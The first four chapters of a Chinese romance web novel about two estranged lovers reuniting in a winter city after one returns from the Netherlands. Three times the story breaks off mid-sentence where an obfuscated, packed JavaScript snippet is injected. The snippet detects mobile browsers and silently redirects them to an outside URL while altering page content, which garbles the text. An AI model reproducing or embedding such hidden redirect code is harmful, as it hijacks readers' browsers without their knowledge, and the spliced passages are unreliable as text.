《第一次谈的时候他真不这样》 1. 第 1 章 “庄先生,麻烦您取一下耳机,我们这边就要起飞了。” 空姐喊了两遍,眼前的人没有反应,她伸手点了点庄迭,感觉到他肩头微微一滞,很快收回动作。 庄迭睁开眼,什么也没说,配合地把耳机收起来。 “有需要您再叫我。”空姐声音轻柔,带着方程式一样规整的笑容。 整个航班因为时间问题头等和商务基本没有售出,庄迭独占一片寂静。 后舱隐约传来小孩吵闹要看动画的声响,他侧首瞥了一眼,空姐会意,利落地拉紧隔帘。 “稍后我会组织客舱秩序,如果有需要我们也备有耳塞和眼罩。” “不用了,落地叫我一声。谢谢。” 庄迭转向舷窗,合眼,任凭神经与理智撕扯不休。他把手机点亮,按灭,点亮,又按灭,周而复始,最后索性盯着手机上同时显现的两个时钟发呆。 阿姆斯特丹与江城有六小时时差。 此刻,那个人该被闹钟叫醒了,他闭眼按掉铃声,在遮光窗帘的黑暗中摸索小夜灯,然后走到窗边。 今天早上,是麦片粥还是热牛奶?工作日的话,大概是牛奶与吐司,再加一颗蘸番茄酱的水煮蛋。 他穿什么呢?黑色大衣,黑色衬衣,黑色西裤,头发还要用发蜡打理一下。他头发太软了,不搭理显得太乖,没有气势,庄迭不自觉撇了撇嘴角。 该出门了。他应该买车了吧,估计还是辆越野。其实不管什么都行,反正喜欢开车到处跑的人,总算不用再挤地铁了。 那他现在还在那家公司吗? 庄迭眉头一皱,这一段跳过,他不想回忆这些。 不对,为什么要回忆?还有十三个小时,飞机落地,庄迭一定要去见他的。 只是还没想好怎么开口,毕竟自己是不辞而别的那一个。 飞机开始滑行,庄迭终究没发出那条编辑好的微信,他删去文字,点开慕华年的朋友圈。 什么都没有。也不知道他还是不是继续在用这个号码。 庄迭闭上眼睛,飞机的广播最后一次提醒各位旅客系好安全带,将设备调至飞行模式,他照做了,只剩下等待。 今夜窗外没有月色,只有一望无际的黑。 这是庄迭第八次回国,飞机上都是东方面孔。 “先生?” 十三个小时后,飞机落地江城机场。 空姐递来温水,庄迭接过后道谢,在她转身时忽然问:“江城的冬天冷吗?” 很冷。 走出航站楼的瞬间,寒风像刀子刮过脖颈,庄迭裸露的指尖迅速冻得粉红。 他的皮肤天生偏薄,某人还因此笑他生得太娇,让人不敢碰。 怎么这都能想到他。 庄迭微微压眉,将随意搭垂的手塞进大衣口袋,却于事无补。 江城的风,是带刺的。 他抓着行李箱漫无目的地走,过去二十六年,庄迭对于江城的记忆只有夏日的闷热,那层水雾一样的热气罩着他,让他大脑发懵。 说来也巧,每次他回国都是夏天,都有庄均存的车来接,唯独这一次,庄均存在冬天走了,而他在冬天回到了江城。 这次没人催,也没急事,行李箱轮子在地上缓慢滚动,庄迭抬着头四处张望。 “你好,有提前订车吗?”一个年轻人凑上前,不容分说接过他的行李,“打表计费,绝不欺客。” 庄迭看着他身上那件纯棉衬衫,恍惚想到谁,沉默地跟他上了车。 “您去哪?” “不知道,”庄迭望着窗外,“随便开。” 四点的江城晨雾很重,车里暖气氤氲,很快窗子结上了霜,庄迭不厌其烦地一次次抹开那片白,直到年轻人递来一块手巾。 “用这个吧。” 庄迭道谢,接过手巾后先细致地擦拭每一寸手指。这双手骨节分明,比他的脸更显得薄情。擦着擦着,他鬼使神差低头闻了闻。 是那款柔顺剂的味道。随后他回过神,自嘲地笑了笑,继续擦拭眼前那片玻璃。 “您第一次来?那去江边看看吧,之前过节人多,现在刚好。车上什么都有,需要就叫我。” 过节,庄迭动作一顿,圣诞节吗?他这才注意到街边还没撤掉的装饰。 庄迭离开时国内已经不怎么过洋节了,但江城却仿佛未受影响。 如果那年他没走,他甚至可以和某人一起在圣诞节看到江城久违的雪。 后来他走了,江城再也没有下过雪。 不过雪对某人来说不算新奇,庄迭回过神,他见惯了北地的风雪,有没有,都没关系。 “你为什么开夜车?”庄迭突然开口。 年轻人一怔,应道:“我是华大学生,做社会实践,寒假体验出租车司机。至于为什么选夜班,”他笑了笑,“因为我失眠。” 庄迭抬头认真看了他一眼。他记忆中也有个因失眠而选择夜班的年轻人,只是那人没这么单纯,第一次见面不会和他说这么多。 “把我放这吧。” 东江逛了一半,庄迭报出那个地名。十五分钟后,车拐进一条熟悉的小路。 一切都没变,只是他离开时是秋天,树叶尚在,如今只剩枯枝在路灯下寂寥摇曳。 “您扫码还是现金?” 庄迭打开微信付了款,下意识多给了年轻人五十元小费,备注:“好梦”。 他也不知道自己怎么就走到这了。庄迭现在最应该做的是找一家酒店睡觉,他的大脑非常不清醒,不然不会允许他做出这么愚蠢的事情。 可报出地址时,他甚至没有犹豫。 来都来了,还是想来看看,万一他还住在这呢。 “来都来了,上去坐坐。” 靠。 庄迭没有动,始终背对着声音的来源,握着行李箱的手越发紧张,大脑在飞速回想那些腹稿,可惜开局不对所有公式都套不进去,紧张的一瞬间让他有反胃的感觉。 他现在特别想叫回刚才那辆车,让司机把自己送回机场,他要用最快的速度飞回荷兰。 这里太不安全了,为什么哪里都是慕华年? 毫不留情戳破了这份心虚的人,与庄迭隔着三步距离,他能很清楚地看到眼前的人在抖。 或许是因为冷,又或许是他这句话起了作用,不管哪种原因,慕华年嘴里酝酿了半天的冷嘲热讽被他咽下去了。 “你不会天天在这等我吧?不会睹物思人吗?” 这开场白有够烂的。庄迭自嘲着笑了笑,转身。 眼前出现黑色大衣的一角,而后是额前被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111597|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 打理得很规整的头发,连内搭都还是他买的那件,与他想象中一模一样。 庄迭从上到下打量了慕华年一遍,什么都没变。 当年慕华年就是这身打扮送他去的机场。 慕华年手上拎着从便利店买的啤酒,脑袋微微歪着,庄迭不动,他就陪他站着。 “上去吗?”他突兀地问,不等回答又继续说,“不上去?那我陪你在这喝一罐?”他自顾自开了一罐啤酒。 凛冽寒冬,冰镇啤酒。庄迭接酒的时候碰到了慕华年的手,他分不清冰的到底是酒还是眼前的人,不过对面的人没有躲,这让他没想到。 “你知道我会回来?” “不知道。” 慕华年退了两步坐到台阶上,见庄迭没动,抬头去看他。 下了班的慕华年少了一份严厉到刻板的气势,衬衫领口微敞,脖颈被风吹得泛红,可他并不在意,甚至抬手把领口扯得更开了。 从庄迭的视角望去,春光乍现。 庄迭收回目光。刚才的触碰点燃了他的小确幸,引诱他想要再往前一步。像现在这样心平气和地说话,反而让他心虚得想跳进东江。 “我不是在等你,公司有个案子出了问题,我盯了一会儿。” 慕华年没说谎,今天是他跳槽后第一次加班,为了忙一个难缠的合作案。 “我知道。”庄迭轻声答。 “你知道还问?” 庄迭扭头,眼前的人一口又一口给自己灌酒,他喝得很快,一听下肚后又要去拿塑料袋里的酒罐。庄迭按住了慕华年的手,“这个天喝凉的伤胃。” “那你别喝了。” 慕华年反手来夺他的酒,庄迭不松,低头看着那只包裹着自己的手。 他好像真没那么抗拒身体接触了。庄迭心里很不是滋味,他说不上这是好是坏,他不想让别人碰慕华年,却又突然意识到,现在的自己也是别人。 不过与此同时他得到了另一个问题的答案,刚才冰的是酒,因为慕华年的手滚烫。 两个人僵持着,最后慕华年冷笑一声,还是从塑料袋里拿了罐新的。 啤酒“噗呲”一声溢出,洒落在慕华年手上,他换了只手握着酒罐,庄迭几乎下意识掏出一张纸塞在他手心里。 慕华年眉眼微挑,他没有对庄迭道谢,再开口的时候语气上扬:“这罐喝完我就走,你自便。” 这罐酒慕华年喝得很慢,因为庄迭一动不动盯着他。 目光从他的嘴角到下颚,喉结,锁骨,然后没入领口。这些地方庄迭都曾深深地留下过自己的痕迹,他不甘心于此刻的浅尝辄止。 “我还能上去吗?”庄迭问。 “这话说的,”慕华年侧头看他,眼神难以捉摸,他仰头喝完最后一口酒,说,“这是你的房子。” “哦对,你没钥匙,是吧?” 慕华年嗤笑,手里的酒罐被用力拧皱,风衣下摆擦过庄迭时,被一把拉住。 “别走,行不行?” 慕华年没说话,庄迭也一口气灌完剩下的酒,他喝一点酒就上脸,此时眼睛都有些红。 “慕华年,我爸死了。” “我知道,后天葬礼我也会去。” 庄迭动作一滞,“因为庄逸吗?” “你说什么?” 2. 第 2 章 慕华年脸上浮起难以置信的表情,那双眼睛死死盯着庄迭,他已经能脑补出一段下三流的故事了,不过他没想到这个故事的主角是自己,而故事的编纂者是庄迭。 真荒诞。 一声声干涩的冷笑从他胸中溢出,手里的空酒罐被下意识捏得铿铿作响,慕华年目光慢慢下移到庄迭拉住自己的手上,平生第一次甩开他。 “你是觉得我非你们庄家人不可了,是吗?”慕华年说,“你们吃定我了,是吗?”他说完就走,空酒罐被掷进垃圾箱的时候放出一声沉闷的“咚”。 庄迭不管不顾追上去,又一次拉住他,“我不是这个意思。” “庄迭,”慕华年把庄迭的手扯下去,指尖抚过被攥出褶皱的衣袖,“你别告诉我,三年了,你是因为怀疑我和庄逸有什么才走的。” “不是。” 庄迭回答的笃定,慕华年却看穿了他的心虚,他抿着嘴继续笑,笑声凄厉,“真的不是?好啊,你说什么我都信。”说完便转身上楼。 庄迭深吸一口气,却没力气追,刚刚被抛开的那只手还在发抖。 庄迭不敢再追问下去。 江城的冬天真的太冷了,尤其是一罐冰啤酒下肚,下酒菜还是慕华年离开的背影。 庄迭拉过被遗忘在路边的行李箱,又坐回方才慕华年坐过的位置。 冬风不留情,说话的间隙那里的温度不复存在,让他恍惚今晚是否真的遇到过慕华年。 庄迭心知肚明,这一切归根结底还是他的自卑心在作祟,三年前是,三年后还是。 现在好了,慕华年用最直接的方式告诉他,他耿耿于怀三年的猜忌纯属子虚乌有,庄迭却没有感觉到半分愉悦。 他甚至有些后悔就这样回来。 庄迭裹了裹身上的衣服,抬头看见不远处的酒店招牌闪着光,像是在朝他释放致命的诱惑,可他不想去。 他和慕华年曾经为了寻刺激在那住过两天,他并不想一个人睡在原本两个人睡过的床上。 尽管过去三年他都是这样度过的,可见到慕华年了,过去三年都不做数了。 坐了半小时,实在冷得受不了了,庄迭起身到慕华年买啤酒的便利店要了一杯热水,一口喝下去,胃暖了。 便利店的员工让他在店里休息,庄迭笑着摇头说不用,又坐回了那个冰冷的台阶。 这个位置正对小区大门,明早慕华年出门时,他至少能看清他开什么车。 其实这样度过一晚,和庄迭想象的差不多。 他原本计划以流落街头的戏码换得慕华年心软收留他,如果可以的话还能擦枪走火,但很好,这一切还没开始就被他搞砸了。 庄迭脸上掠过一丝自嘲的苦笑,手里的杯子蒸腾着热气,他的指尖慢慢有了知觉。 方才被慕华年触碰过的手背仿佛还残留着滚烫的余温,或许是因为太久没碰了,他自我宽解着,下意识用另一只手反复摩挲那块皮肤。 “我服了你了。” 不知道又过了多久,时差与酒精让庄迭昏昏欲睡,头脑发晕,他甚至觉得自己有些感冒,但无所谓,他抬头的时候看到了慕华年。 庄迭笑着朝慕华年歪头,下一秒便脱力般朝他倒去。 庄迭在冷风里傻坐了多久,慕华年就在小区长椅上陪了多久。 他现在大多数夜晚还是睡不着,今夜尤是,索性盯着一个无家可归的流浪猫打发时间。 庄迭的小动作真的很多,他不耐冷,坐在那一个劲儿不安分地跺脚,脚上那双皮鞋看着保暖,可脚踝处的袜子很单薄,裤管连着的那一节皮肤形同裸露。 慕华年盯着看,想到庄迭说“疼”。 很奇怪的联想。慕华年摇头清扫掉脑海里的音画,将这一切归咎于和庄迭在一起时间长了养成的坏习惯。 其实他们在一起也没多久,荷兰的春夏秋冬他们看了一遍就回国了,江城甚至没来得及经历四季轮回就分手了。 不对,是庄迭单方面离开,慕华年只是默许。 他们的开始也是如此,慕华年向来是个被动的人。 “你没必要这样,庄迭。” 慕华年背起昏沉的人,背上的人比记忆里重了些,他松了口气,左手托着庄迭的腿弯,右手勾着他的行李箱,说:“用胳膊把我环住,我没手了。” 睡梦里的庄迭比刚才更乖,也可能心虚的情绪一直随着他进到了梦里,他小声嗫嚅:“好呢。” 慕华年没忍住叹息,背上的人听到动静,本来安分环着他的手开始在他喉结处游移,他不住蹙眉,没等开口,便被庄迭梦呓般打断:“别叹气。” 慕华年手上的动作停了一下,眉毛中间的纠葛却成了中国结,他没说话背着庄迭往院子里走。 庄迭这时候倒是安静地趴在他背上,呼吸起伏很微弱,吐气的时候有气流擦过慕华年耳边,一阵酥麻的触感。 “到了,你自己站一下,能站住吗?我要拿钥匙。” 庄迭在他外套上蹭了蹭作为回应,慕华年将他小心抵在楼梯扶手旁,脱身前又把他往自己这边带了带,怕他一个迷糊向后仰,毕竟庄迭真的干过这种事。 慕华年摸着口袋,庄迭就借着楼道里的灯看他。 怎么回事,他好像更知道怎么让自己喜欢了。 刚才那一觉醒了,短短十分钟而已,但是庄迭的大脑连接上服务器,明白自己要做什么了。 “你住这里吗?” 慕华年转钥匙的手顿了一下,不置可否,“你不是说会睹物思人吗?怎么了,我自虐?” 庄迭笑了一声,门开了,他还没进去,那股熟悉的味道已经扑入他的鼻腔。 柔顺剂打理过的沙发巾,果盘里淡淡的酸甜,浴室未散的水汽与香氛,好像还有什么。 “打算睡门口?” 慕华年丢给庄迭一双新拖鞋,款式与他从前那双一样,庄迭抿了抿嘴跟着进了屋子,很快,他想起来还有一种味道是什么了。 “吹了风,喝点红茶安神,然后睡觉。” 慕华年端过来的红茶庄迭太熟悉了,他自己身上就带着这种茶香,闻起来很柔和,充满包容性,喝到嘴里可以包裹这个舌头,浓淡适宜,几乎没有苦涩的感觉。 庄迭抿了一口,因为自己的联想而翘起嘴角,慕华年捕捉到他的小动作,挑了挑眉,“满意了?” “什么?”庄迭捧着杯子没反应过来,慕华年却不打算再重复,他也没有给庄迭再开口的机会,伸手指了指左边的主卧。 “床上的东西是新换的,卫生间里没有的东西自己来主卫拿,”说罢慕华年朝对面的房间走过去,开门的时候顿住脚,“今晚太迟了,我暂住。” 所以他到底住不住这里? 庄迭手里的红茶快喝完了,他环顾四周脑海里一直是这个问题。 慕华年的话语焉不详,而周遭的东西还是他离开时的模样,什么都没变。 可一个人真的能在一个地方住三年,连阳台躺椅的角度 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111598|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都不变吗? 慕华年卧室那扇门又被推开,他换好了睡衣,看到庄迭还站在原地,说:“这么陌生?我带你参观一下?” 庄迭的脸被滚烫的红茶熏热,他摇头把杯子放到茶几上,看起来确实局促,像是第一次来的客人。 慕华年没有再理他,径自去了浴室。 水流声哗哗落下,庄迭坐在沙发上听着,声音时断时续,对应着慕华年洗澡的进度,他心里一清二楚。 等到最后一次声音消失,浴室门被打开,慕华年还是穿着那身睡衣,不过身上的水没擦干,胸口的布料贴在他的下腹上,随着他的呼吸一起一伏。 庄迭咳嗽了一声扭头换了个方向,慕华年擦着头发走近,那股沐浴液的味道如影随形。 “感冒了?茶几下面有药。” “没,刚喝茶烫到了。” 慕华年瞥了庄迭一眼,刚坐下又起来给他倒了一杯温水,“现在不困了?” “飞机上睡了很久。”庄迭开口就说了谎,他顿了顿,“刚才不是困,就是无聊。” 他捧着温水,掌心来回滚动着像是在取暖。其实进了屋子就不冷了,慕华年特意在装修的时候加了地暖。 “无聊为什么不走?” 慕华年没有坐下,始终和庄迭保持着恰当的距离,但他擦头发时甩落的水珠,零星溅在了庄迭脸上。 “不知道去哪。” 这是实话。报出这个地名前庄迭想了太多人和事,然后做排除法一一划掉,最后只能让司机把自己送到这。 他现在除了慕华年谁也不想见。 “庄迭。” “嗯,你说。”庄迭转头望他。 慕华年却笑了,如实坦白道:“我不知道该说什么。” “那你有想问的吗?” 庄迭心里有一丝期待,但是慕华年说“没有”。 原来他不好奇自己为什么走吗?那他为什么对于自己的误解那么生气? “我没有误会过你和庄逸,至少没有误会过你,我永远相信你。” 庄迭提到“庄逸”的时候慕华年想要打断他,却不知道打断后能说什么,就由着他继续。 “你爱我,我知道的。” 很沉默的一句话,像核弹一样炸裂在两个人不足一米的距离里,尤其是由庄迭这个先离开者说出口。 慕华年擦头发的动作停了,额前的碎发有些长,半掩住他黑沉沉的眼睛。庄迭正犹豫着要不要看他时,回应他的,是卧室门被狠狠摔上的声音。 第二天再醒来,庄迭发现自己躺在沙发上,他不知道自己什么时候睡着的,只是身上多了条毯子。 若放在从前,慕华年不会只留给他一条毯子,他会抱庄迭去卧室的。 庄迭自嘲地弯了弯嘴角,抬头看到客卧的门敞开着,好奇心驱使,他站起身迈步走过去。 里面的床铺收拾得很干净,像是没有人用过一样。庄迭站在门口站了很久,竟然真找不到有关慕华年的任何个人物品。 这一切像是庄迭在梦里自导自演。 明明二十四小时前他还在荷兰,还在和路远舟说着如果慕华年不愿意见自己,他要怎么办,二十四小时后,他就这样和慕华年在从前的家里分开睡了一觉。 庄迭苦笑着作罢,转身想去找水喝,等他走到餐桌边,却见一杯温水早已备好,杯子下面压着一张便利贴,便利贴上,是家门的钥匙。 “钥匙放这了,你的房子你自己处置。” 3. 第 3 章 庄迭打开手机,习惯性找到慕华年的电话,三年来第一次拨过去,对面响了三声接了起来。 “醒了?” “嗯。” 庄迭其实没想好要说什么。从昨晚下飞机开始,他的动作总是比他的脑子快一步,可奇怪的是他明明已经忍了三年了。 “还有事?” 慕华年也不着急挂电话,助理唐沉刚把核对好的合同给他签过字,一时半会不会有人进来,他把手机开了免提,走向咖啡机。 “你在干嘛?” 听筒里传来“咔嚓”的磨豆声,随后是机器运作的轰鸣。庄迭刚醒,说这话时带着点鼻音,听起来像在撒娇。 慕华年加冰块的手晃微微一晃,“上班,我最爱上班,这不是你说的吗?” 又要提到庄逸了。 庄迭眉头紧皱,立刻换了个话题,“你真的不住这吗?” “钥匙不是还你了?你要不放心,我让保洁阿姨给你里里外外打扫一遍。” “不用。”庄迭答得飞快。 电话那头传来一声低低的轻笑。 明明是慕华年在避重就轻,紧张的却是自己。庄迭觉得不公平,带着些许忿忿继续试探:“那昨天你为什么要回来?” “路过。”慕华年的咖啡做好了,他端着杯子回到桌前,拿起手机贴近话筒,“它不只是个房子,不是吗?” 庄迭哑口无言,尽管他目光所及已经没有慕华年的影子了,但这人就是有本事,凡是他待过的地方,空气里都刻着他的印记,那年的酒吧就是如此。 “那你现在住哪儿?” “对我还有兴趣呢?” 慕华年的语气听起来有几分愉悦,连他自己都未察觉,他轻轻晃动着杯中的液体,想到自己昨天递给庄迭的那杯红茶,那个杯子是他自己平时用来喝水的。 “庄迭,”他喝了一口冰美式,念出这名字时带着微不可察的颤音,“你在期待什么?” 咖啡的苦涩在舌尖蔓延。这么多年,慕华年还是觉得这东西苦,但是喝多了又上瘾。他从前最讨厌一切会让他上瘾的东西。 “能说吗?” 慕华年轻哼一声,“说呗,与我无关的我当故事听,与我有关的我也就随便听听。不想说你也可以把电话挂掉,或者我来挂?” 庄迭暗暗骂了一句,“我……” 对面传来慕华年用手捂住听筒的细微摩擦声。 庄迭噤声,察觉到电话那边有人进了办公室,他没有挂电话,听到一声“慕总”。 慕总,这个称呼挺玩味的。 当初慕华年最落寞的少年时,庄迭在床上这么叫过他。 庄迭绷着的心松懈了一下,屏息听着对面的动静。 “他就这么执着?”慕华年的声音毫无波澜,“成熟的车企不止我们,TOTT有什么特别的?” “可能因为望京作风激进,不少合作方都吃了暗亏,大多数人都在观望。江城这么多企业,也就TOTT能和他们碰一碰。”唐沉低声回应。 庄迭在电话这头听得清楚,他将通话界面滑至后台,点开路远舟的微信,只发了三个字:“查望京。” “背景查清了吗?”慕华年又问。 唐沉抿了抿嘴,递上一份文件,“背调做了三轮,明面上的结果都一样。主要资金来自美国一家基金,实际运营主体在江城。” “境外架构?”慕华年接过文件,快速略过,“让总部再探一次。” “Nina已经报过总部了,”唐沉声音更低了,“反馈是对方的信息经过多重处理,有意隐匿实控人身份。” 慕华年没有继续回话,他的目光在某一页停留片刻,注意到合同中某个尽调条款的表述方式异常熟悉,和他多年前在寰方时惯用的模板几乎一致。 他未动声色,合上文件夹。 唐沉试探着问:“那我们还继续谈吗?” 慕华年抬眼,语气平稳:“Mike对这个项目很上心?” “他是市场总监,表现出兴趣也合理,”唐沉顿了顿,领悟到慕华年的暗示,“您的意思是,案子转给他?” 慕华年端起咖啡杯,冰块融化后杯身沾着水汽,“他不是一直想要个证明自己的机会吗,给他。” 接着庄迭听到一声门响,慕华年重新拿起手机,“还有事吗?” 同样的问题,语气截然不同。 “没有了,”庄迭小声说,又急忙补充,“先别挂。你下班一般在哪吃饭?” 慕华年沉默片刻,“在家。” “不应酬?”庄迭不等他回答,“那你回家我给你做。” “你做饭?”慕华年语气里那点愉悦再度浮现,“怎么了,打算同归于尽?” 庄迭忍着嘴边的话没说,再开口时多了分自己都没有察觉到的失落,“不来也行,我就是想找个机会和你说清楚。” “说清楚之后呢?” 之后,庄迭还没想到这一步。他只知道自己今晚想和慕华年一起吃饭,他不能让慕华年就这么消失了,他得抓住点什么。 “你说了算。” “我说了算?”慕华年轻笑,“从来不都是你说喜欢就喜欢,你不喜欢了就结束吗?现在要征求我的意见了,我很重要吗?” “重要。” 庄迭感觉自己说了很多句“嗯”,他应完又补上一句,希望慕华年能听到。 不过再多的他也说不出口了,他们的关系还没有好到慕华年容忍他无理取闹。 “那白天就好好想想要说什么,把一切都想清楚,不要试图蒙混过关,也不要试图撒娇耍赖。” 电话被挂断。庄迭听着忙音,一分钟过去也没缓过神。 回江城前,庄迭已经做了很久的心理建设,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17111599|195872||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说在那之前他就想象过这一天的到来,从他后悔的那一天起。 不对,他每天都在后悔。 对别人来说三年时间足够开启一段新生活,而庄迭用了三年弥补过去那个选择带来的结果,哪怕只是亡羊补牢。 庄迭强行掐断思绪,将手机扔回沙发,他睁眼盯着天花板,努力放空自己,可沙发巾上熟悉的柔顺剂气味让他心烦意乱。 荷兰的超市买不到这一款,他晚上不闻着这个味道又睡不着,久而久之帮他代购的人都笑话他痴情。 平日里的安眠药就在鼻腔里萦绕,今天却成了兴奋剂。庄迭用手指细细描摹沙发巾上的格纹,一格一格地数,指尖触碰过的地方留下他的痕迹。 慕华年是否也曾做过同样的动作,在同样的地方魂不守舍。 庄迭想到这缓缓闭上眼,他不知道怎么和慕华年提这句迟到了三年的解释。 “咚咚咚——” 再醒来已经是下午五点,庄迭叫了跑腿买菜,等最后一道菜上桌,门口刚好传来敲门声,他对着门廊的镜子照了照,擦干手去开门。 不是慕华年。 “请问你找谁?” 庄迭看着眼前打扮明艳的女人,眉头不禁皱起,侧身挡住她向屋内探寻的视线。 “这不是慕总家吗?” 女人手上捧着一束花,好像还有一些礼品,庄迭没仔细看,他转头瞥了眼墙上的挂钟。 “是,他还没回。你找他有事?” “你是谁?” 女人不答反问,她虽比庄迭矮上不少,却硬是凭借鞋跟的高度和一股气势扬起了头,目光毫不避讳地在他脸上扫过。见庄迭沉默不语,她红唇微勾,略带挑衅:“听说慕总很难约。怎么,我需要三顾茅庐?” 这话说得奇怪又突兀。 庄迭心里莫名一堵,一股闷气顶上来,只是他面上不显,淡淡道:“所以现在是第一顾?”说完顿了顿又继续,“那见不到也正常,回吧。” 说罢,他作势要关门。 那女人反应却极快,几乎是同时,她整个人向前一倾,半个身子不由分说地卡进门缝里,一副笃定庄迭不会硬来的架势。 庄迭心头火起,却真怕门夹伤她,只能硬生生停住动作,一股闷气郁结在胸口,他不得不维持着门半开的状态,与她在门口对峙。 “不是说要三顾吗?这点耐性都没有?”他语气冷下来,“慕华年很难约,也很难追,无论你打的什么主意,三顾都不一定能攀上他。” “你到底是谁?” “这是我家。” 庄迭关上门,留着女人在门外拿着手机一遍遍对门牌,“没错啊,他私人住址不就是这吗?” 私人地址? 庄迭皮笑肉不笑地回到厨房,只恨自己听力太好。如今再看一眼屋内的环境,他动了让保洁阿姨来打算一遍的心思。 4. 第 4 章 “咚咚咚——” 又一次敲门声将庄迭从混乱的思绪中拽出,他带着未消的不耐烦过去开门,不等看清来人便转身往回走。 “你要不介意就坐客厅等。他今天应该会来,需要的话我给你们腾地方。” “怎么?房子小,不够住了?” 庄迭蓦然回头,慕华年倚在门边看他,神情云淡风起,看得庄迭一股无名火。 “我够了,”他别开视线,“就是不知道其他人够不够。” 庄迭盛了两碗饭放在桌子上,也不招呼慕华年,自顾自坐下吃。慕华年什么也没说,在他对面坐下,却也没动筷,只是静静趴在桌上看他。 “没毒。” 庄迭头也不抬,桌子上连带着汤有四个菜,他每个吃了一口,像是在向慕华年证明什么。 慕华年神色和缓了些,今天的工作不太顺利,他是真的有些累,可是庄迭这么一闹,他居然觉得生活突然又有趣了。 慕华年望着庄迭夹在自己盘子里的那块牛肉,看成色是上好的材料,烹饪手法简单但是火候掌握得不错。他还记得庄迭做过一个全熟的牛排,差点把他的下巴嚼脱臼。 “生气了?因为我回来晚了?”慕华年声音很轻,“下次迟了你就别等了,自己先吃,我晚上随便对付一口就行。” 下次。庄迭嘴里的西芹嘎吱嘎吱响着,他脑海里反刍着“下次”这个字眼,随即意识到自己确实在生气,很莫名其妙的气。 “没有,”他低头扒饭,“吃饭吧。” 慕华年一边给他夹菜,一边注视着他始终低垂的头顶,“什么时候学会做饭了?” “回荷兰之后。人总要长大,总不能饿死。”庄迭话里还带着气。 慕华年顿了顿,想象到庄迭用刀切破手指或者热汤烫到皮肤的场面,面无表情地继续问:“怎么没找阿姨?” “我不喜欢陌生人出现在我家。” 庄迭抬眼看他,眼神里的情绪清晰明了,慕华年”嗯“了一声,也明了了。 “你是说刚才下楼的那个女人?早上的电话你听到了,她多半是对方派来的。有一部分原因是为了让我说动董事会,同意他们的合作意向。” 慕华年说得太自然了,就像是在分享他的日常,庄迭吃饭的速度慢了一些。 慕华年见状,唇角微勾,“就因为这个生气?她和你说什么了?” “她说这里是你的私人地址。” “哦,是,”慕华年毫不避讳,“我没有给任何人说过我在这有房子,毕竟这房子确实不是我的。不过既然她能知道,证明我需要再加些手段。以后不会了,你放心住。” 所以这房子是他们的秘密。 庄迭眉眼染上些许光亮,他盛了碗鸡汤推到慕华年面前。 “试试,冬天喝鸡汤滋补。” 慕华年盯着碗里零星飘着的油花,犹豫着拿勺子撇开后喝了一口。 “不错,咸淡适中,合格的中餐水平。” “油花我处理过了,你放心喝,那一点我也没办法。” 庄迭也给自己盛了一碗,话里带着几分不自知的示弱。 慕华年挑眉看他,低头放下勺子,直接衔着碗口喝汤。 “那另一部分原因呢?” “嗯?”慕华年放下碗,碗底只剩一些汤渣,“什么原因?” “你刚说至少有一部分是为了公司,那剩下的呢?” 庄迭放下筷子,目光如炬。 “庄迭,”慕华年轻叹一声,“你现在是在拿什么身份怀疑我?” 庄迭眼神里的光灭了。他丧气垂头说了句“是”,起身将碗筷收进洗碗机,然后拿起抹布反复擦拭台面。 这期间慕华年始终坐在原处,目光追随着他。 一切收拾停当,庄迭正要越过慕华年去洗手间时,被出声叫住。 “既然还是不信任,为什么回来呢?” 这句话将庄迭定在原地,像是把他送上了审判席。 明明前一天他还在懊悔自己的猜忌,今天却因一个无关紧要的人故态复萌。 “对不起。” 他无从解释。庄迭走进卫生间打开水龙头,水流声盖过紊乱的呼吸,可这远远不够,他索性拧开淋浴。 管道里的水不像雨,它有很强的针对性,打在身上的时候存在感很强,长时间不动的话甚至会觉得有些痛,庄迭试图在这场人造暴雨中寻找清醒。 门外的慕华年听着长久不断的水声,保持着原来的姿势一动不动。 在楼道遇见那女人时,他就料到会如此。 三年前庄迭没有得到的安全感,三年后不会凭空长出来。 只是慕华年不知道自己还能做什么,解释说明是他唯一能做的。 这世上除了庄迭,不会再有人这样怀疑他,可也只有庄迭的怀疑,能让他如此在意。 水声戛然而止,浴室门打开。 庄迭裹着浴巾出来,刚才的衣服被水打湿,他顺手扔进洗衣机了。 慕华年转头,看见他半身赤裸的模样。 怪不得重了。眼前的人腰腹训练痕迹明显,人鱼线没入浴巾边缘,腰胯处被布料勒出淡红,其余肌肤因水汽蒸腾而白皙透亮。 庄迭神情自若地从他面前走过,发梢甩出的水珠溅了慕华年一脸。 “喝点什么吗?” 他若无其事地打开冰箱,取出买菜时顺带的啤酒,朝慕华年晃了晃。 慕华年今天是开车来的,却还是点了点头。 同样的位置,同样的啤酒,不同的是散发着沐浴液味道的人。 